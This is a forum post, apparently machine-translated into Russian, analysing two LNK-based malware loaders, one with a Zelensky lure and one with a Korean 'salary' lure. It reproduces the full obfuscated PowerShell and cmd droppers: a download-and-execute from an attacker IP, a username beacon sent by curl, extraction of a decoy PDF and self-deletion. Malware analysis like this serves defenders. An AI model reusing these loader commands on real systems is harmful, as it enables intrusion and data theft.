Изучение загрузчиков вредоносного ПО LNK: случайный анализ

wrangler65

Original poster
Ufo Member
Сообщения
48
Реакции
4
Посетить сайт
Изучение двух различных вредоносных загрузчиков, злоупотребляющих .LNKфайлы в качестве начального доступа.


Введение

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Недавно я столкнулся с двумя различными загрузчиками вредоносных программ, использующими .LNKфайлы в качестве начального доступа — и оба имели несколько интересных слоев, в которых стоило покопаться. В любом случае, это не полноценный очерк или что-то в этом роде. Просто я снова вхожу в привычку анализировать и делиться вещами. Я был вне игры некоторое время, так что это скорее разминка. Если вы заметите что-то странное, неправильное или просто захотите поразвлечься — дайте мне знать.


Часть 1: изучение первого загрузчика LNK

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Введение

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Недавно я наткнулся на этот подозрительный ZIP-файл — хэш: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8. После расстегивания он выпал .LNKфайл с именем вроде ЗЕЛЕНСЬКИЙ.М.В..docx.lnk.


Примечание: у меня был только загрузчик для работы. Серверы C2 были мертвы, и я не мог получить основную полезную нагрузку (AppCheckS.exe) или какой-либо ложный документ. Все здесь из статического анализа и наблюдения за его поведением.


Этап 0:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


  • Имя файла: Неизвестно (ссылка на SHA256)
  • SHA256: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8
  • Содержание: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk
  • Упаковка: Простой ZIP-архив, без папок.

Это классический старт социальной инженерии. Файл LNK использует двойной .docx.lnkрасширение с кириллическим именем для привлечения нетехнических пользователей, возможно, ориентированное на русскоязычную аудиторию.


Этап 1: Полезная нагрузка LNK

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


The .LNKfile — это настоящая вещь. Он не запускает документ, а вместо этого вызывает скрипт PowerShell с несколькими этапами:




-win 1 eChO ikLUwJJXohZoLaHEBFtdWEvLWq;


  • Просто какая-то мусорная команда echo, вероятно, чтобы сбить с толку базовые сканеры.

if (-not(Test-Path 'calipash.z''i''p' -PathType Leaf)){
&(Get-Command in???e-webr**) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/calipash.z''i''p -OutFile calipash.z''i''p
};


  • Проверяет, если calipash.zipсуществует. Если нет, то он загружает его с

    Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

    .
  • 'zi''p' и ht''tp'используются для разделения строк и избежания обнаружения.
  • Использует Invoke-WebRequest или Invoke-WebClientчерез шаблон подстановочных знаков in???e-webr**.

sleep 0.01; Measure-Object | Out-Null;


  • Небольшая задержка и фиктивные команды для работы с песочницами.

eChO uGLxDhDxxfNjkAkreOIPzbprHbWqxfyhhEiZWFLcwdbltXGKhtCnXFfst;


  • Еще одно мусорное эхо.

$Hehe = 'Expand-Archive -Path calipash.z''i''p -DestinationPath x64Updtr';
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire $Hehe;


  • Распаковывает архив в папку x64Updtr.
  • Использует Invoke-Expressionдля динамического выполнения PowerShell.

NotHehe = 'st''ar''t x64Updtr/AppCheckS.e''x''e';
iex -Debug -Verbose -ErrorVariable $ee -InformationAction Ignore -WarningAction Inquire $NotHehe;


  • Запускает извлеченный EXE-файл.
  • Запутывание последовательно ( st''ar''t, e''x''e).

&(Get-Command in???e-webre************************) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/dannya/database_response_invalid_error_code_702.docx -OutFile database_response_invalid_error_code_702.docx;


  • Пытается загрузить файл docx с

    Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

  • database_response_invalid_error_code_702.docxскорее всего, это поддельный документ или вторичный загрузчик.

sleep 0.01; Get-Process | Out-Null;


  • Еще одна короткая пауза и бесполезная команда, которая сбивает с толку инструменты анализа.

st''ar''t database_response_invalid_error_code_702.docx;


  • Открывает этот .docx, чтобы все выглядело законно.

Сводка потока инфекции

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


  1. Пользователь открывает LNK, думая, что это документ.
  2. PowerShell включается незаметно.
  3. Он загружает и распаковывает ZIP-архив.
  4. Запускает подозрительный EXE-файл.
  5. Пытается загрузить DOCX (вероятно, приманку).
  6. Открывает DOCX для завершения иллюзии.

IP

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


  • 38.180.49.87

    На момент написания этого IP упал. Пробовал сканировать и запрашивать его — ничего. Нет открытых портов, нет HTTP-ответа, ничего.

Я также не смог найти никаких надежных ссылок на предыдущие вредоносные кампании, связанные с ним. Тем не менее, способ использования инфраструктуры — одноразовые C2, мертвые к тому времени, как мы на них наступаем — типичен для определенных в стиле APT . операторов


Атрибуция?

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Давайте будем честны — это тщательное наблюдение, а не подтвержденная атрибуция. У нас нет доступа к полному вредоносному ПО, только к загрузчику. Инфраструктура не работает, а содержимое ZIP-файла ограничено. Поэтому весь анализ основан на том, что у нас есть.


  • Имя файла: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk: Это имя Зеленского. Это не случайность. Это целенаправленный крючок, вероятно, для ловли кого-то, связанного с Украиной или политикой.
  • Схема действий знакома — двойные расширения, запутанный PowerShell, одноразовые серверы и поддельный документ в конце.
  • Стиль доставки и использование поддельного средства запуска документов напоминают методы, которые мы видели у связанных с Северной Кореей APT-групп (например, APT37, Kimsuky) и даже у некоторых российских злоумышленников , участвующих в гибридных военных операциях.
  • Но без полезной нагрузки или активных серверов я не буду показывать пальцем. Хотя это похоже на шаг национального государства, особенно с учетом украинского аспекта.

Часть 2: Изучаем второй загрузчик LNK

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Введение

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Итак, я наткнулся на этот файл .LNK на днях. Сначала он показался мне каким-то базовым дроппером, ничего необычного. Но после того, как я его посмотрел, единственное, что меня заинтересовало, это то, как он, вероятно, связан с КНДР.


  • Цель: Вероятный первоначальный доступ, замаскированный под законную приманку.
  • Предполагаемая атрибуция: TTP пересекается с группами Kimsuky и Konni APT
  • Примечание: Как и в случае с последним загрузчиком .LNK, мы не получили в свои руки основной файл .LNK (월급.lnk). Поэтому все здесь взято из статического анализа и наблюдения за его поведением.

Этап 0:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


  • Тип: .LNK
  • Размер: 3,78 КБ
  • Имя: plum.lnk
  • Хэш: 065f4a69119449bcbd777a96674ea52553ec282127731980476c7b4da69471c8
  • ВирусВсего: 21/62

Этап 1: Полезная нагрузка LNK

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.




Внутри .LNK


Использовал 010 Editor + LNK templates для чтения между байтами. Вот что выделялось:


  • Цель команды:

    cmd.exe, связанный с логикой PowerShell
  • Рабочий директор:

    C:\Users\kangb\OneDrive\Desktop
  • АРГУМЕНТЫ КОМАНДНОЙ СТРОКИ:

Ниже представлен полный набор PowerShell/Batch, встроенный в .lnk цель:


/v:eek:n /k "for /f %a in ('whoami') do (set myuser=%a&set myuser=!myuser:\=/!&curl

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

/f \"tokens=*\" %a in ('dir C:\Windows\System32\*rshell.exe /s /b /od') do call %a -WindowStyle Minimized \"$DirPath=Get-Location;if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq ''){$DirPath=$env:TEMP;}$Files=Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk';$lnkF='';foreach ($File in $Files){$lnkF=$File.FullName;};$StartA=0;$fileBytes=Get-Content -Path $lnkF -Encoding Byte -Raw;$a5=0x25;$b4=0x50;$c3=0x44;$d4=0x46;for ($i=0;$i -lt $fileBytes.Length;$i++){if ($fileBytes[$i] -eq $a5){if ($fileBytes[$i+1] -eq $b4){if ($fileBytes[$i+2] -eq $c3){if ($fileBytes[$i+3] -eq $d4){$startA=$i;break;}}}}}$byteC=58461;$NormalF=$lnkF -replace 'lnk','pdf';$selectedBytes=$fileBytes[$startA..($startA+$byteC-1)];Set-content -Path $NormalF -Value $selectedBytes -Encoding Byte;ii $NormalF;timeout /t 2;Remove-Item -Path $lnkF;\"&cls&exit"




cmd.exe /v:eek:n /k


  • Позволяет отложенное расширение переменной. Необходимо для динамических трюков с переменными, таких как !myuser!.

for /f %a in ('whoami') do (...)


  • Получает текущее имя пользователя.
  • Заменяет \ с /чтобы сделать его URL-безопасным.
  • Отправляет имя пользователя на URL-адрес маяка ( google[.]com/112.jsp). Скорее всего, это заполнитель.

for /f "tokens=*" %a in ('dir ... *rshell.exe') do call %a


  • Ищет переименованный двоичный файл PowerShell (возможно, rshell.exe).
  • Вызывает его свернутым для выполнения оставшейся части полезной нагрузки.

Полезная нагрузка PowerShell:


$DirPath = Get-Location
if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') {
$DirPath = $env:TEMP
}



  • При запуске в защищенной папке переключается во временный каталог.

$Files = Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk'
foreach ($File in $Files) { $lnkF = $File.FullName }



  • Ищет файл с именем «월급.lnk» (корейский: «Salary.lnk»).
  • Вероятно, это файл, на который изначально нажали.

$fileBytes = Get-Content -Path $lnkF -Encoding Byte -Raw



  • Читает LNK-файл в двоичном режиме.

$a5 = 0x25; $b4 = 0x50; $c3 = 0x44; $d4 = 0x46
for (...) { if ($fileBytes[i..i+3] -eq %PDF) { $startA = i; break } }



  • Поиск заголовка PDF-файла: %PDF→ 0x25 0x50 0x44 0x46

$byteC = 58461
$selectedBytes = $fileBytes[$startA..($startA+$byteC-1)]



  • Извлекает следующие 58 КБ, предполагая, что это допустимый поддельный PDF-файл.

$NormalF = $lnkF -replace 'lnk','pdf'
Set-Content -Path $NormalF -Value $selectedBytes -Encoding Byte
ii $NormalF
Remove-Item -Path $lnkF



  • Записывает PDF-файл на диск, открывает его и удаляет оригинал. .lnk файл.

Сводка потока инфекции

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


  • Пользователь нажимает plum.lnk
  • .LNK запускает cmd.exe, который захватывает имя пользователя и отправляет его на URL (google[.]com/112.jsp).
  • CMD ищет переименованный двоичный файл PowerShell (например, rshell.exe) и незаметно запускает его.
  • PowerShell проверяет текущую папку. Если это где-то вроде System32 или Program Files, он переключается на временный каталог.
  • Он ищет другой файл .LNK с именем 월급.lnk (по-корейски «зарплата»).
  • Считывает этот .LNK как необработанные байты, ищет заголовок %PDF, чтобы найти встроенный PDF.
  • Извлекает ~58 КБ данных, сохраняет их как файл .pdf и открывает, чтобы они выглядели как настоящие.
  • Удаляет оригинальный .LNK, чтобы замести следы.

Подсказки об авторстве — почему это кажется связанным с КНДР

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Я не бросаюсь атрибуцией легкомысленно. Но если вы отслеживали КНДР, это может показаться слишком знакомым:


Признаки, указывающие на APT-группы, связанные с КНДР (например, Lazarus, Kimsuky, Andariel) :


  1. Использование корейского языка ( 월급.lnk) – Мощная приманка социальной инженерии, нацеленная на местных пользователей.
  2. Извлечение файлов со встроенным вредоносным контентом — тактика, применяемая в имплантах Lazarus.
  3. Активное использование PowerShell, минимум внешних инструментов — соответствует принципам Kimsuky и Lazarus.
  4. Поведение C2 замаскировано в домене Google – TTP совпадает с предыдущими наборами фишинговых атак Lazarus.

Хотя эти ТТП и не являются окончательными, они соответствуют кампаниям, которые ранее приписывались:


  • Модули шпионского ПО и кражи данных Kimsuky
  • Вложения Office/PDF, превращенные в оружие Лазаруса
  • Использование Андариэль .lnkдля бокового перемещения и стадий капельницы

По какой-то причине это больше похоже на загрузчик для тест-драйва, чем на полностью активный вектор заражения. Использование заглушек C2 и полусырой функциональности предполагает, что это либо часть продолжающейся кампании, которая все еще находится в разработке, либо новая, которая вот-вот начнется.


Подведение итогов

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Оба загрузчика .LNK были довольно крутыми для того, чтобы поковыряться, но да, они оставили меня в подвешенном состоянии без каких-либо важных ответов. Я даже не собирался это писать, но я пытаюсь вернуться к регулярному ведению записей. Так что спасибо, что заглянули! Если я где-то ошибся, я обязательно исправлю это в следующий раз.
 
Название темы
Автор Заголовок Раздел Ответы Дата
Z Подскажите, как и с чего начать изучение кибер безопасности? Вопросы и интересы 10
E Интересно С чего начать изучение информационной безопасности в 2020 году Полезные статьи 0
A Книга для изучение c# .NET 3
X Изучение Си (урок 6) С/C++ 1
X Изучение Си (урок 5) С/C++ 0
X Изучение Си (урок 4) С/C++ 0
X Изучение Си (урок 3) С/C++ 0
X Изучение Си (урок 2( С/C++ 0
X Изучение Си (урок 1) С/C++ 1
N С чего начать изучение DDOS ? Вопросы и интересы 9
N Изучение C++(видео уроки) С/C++ 1
R Изучение JavaScript с нуля Другие ЯП 4
S Изучение html, css!!! Другие ЯП 2
wrangler65 Создание незаметного вредоносного ПО Ч.2 Полезные статьи 0
wrangler65 Интересно Создание незаметного вредоносного ПО для Windows (C2-фреймворк Villain + обфускация PowerShell + недетектируемая доставка) Полезные статьи 0
Emilio_Gaviriya Статья Инструменты для исследования вредоносного ПО. Вирусология 0
Support81 Хакеры злоупотребляют Binance Smart Chain для хранения вредоносного кода Новости в сети 0
Support81 Ностальгическая вспышка: USB-носители снова используются для распространения вредоносного софта Новости в сети 0
Kalash Аренда вредоносного программного обеспечения SpyNot 6.5 Продажа софта 0
T Поиск сценариев или вредоносного ПО для кражи биткойнов Продажа софта 2
G Софт для выявления вредоносного ПО. Софт для работы с текстом/Другой софт 10
G Mobile Security Framework - Выявление вредоносного кода в приложениях Полезные статьи 0
G Maltrail - система обнаружения вредоносного трафика Полезные статьи 0

Название темы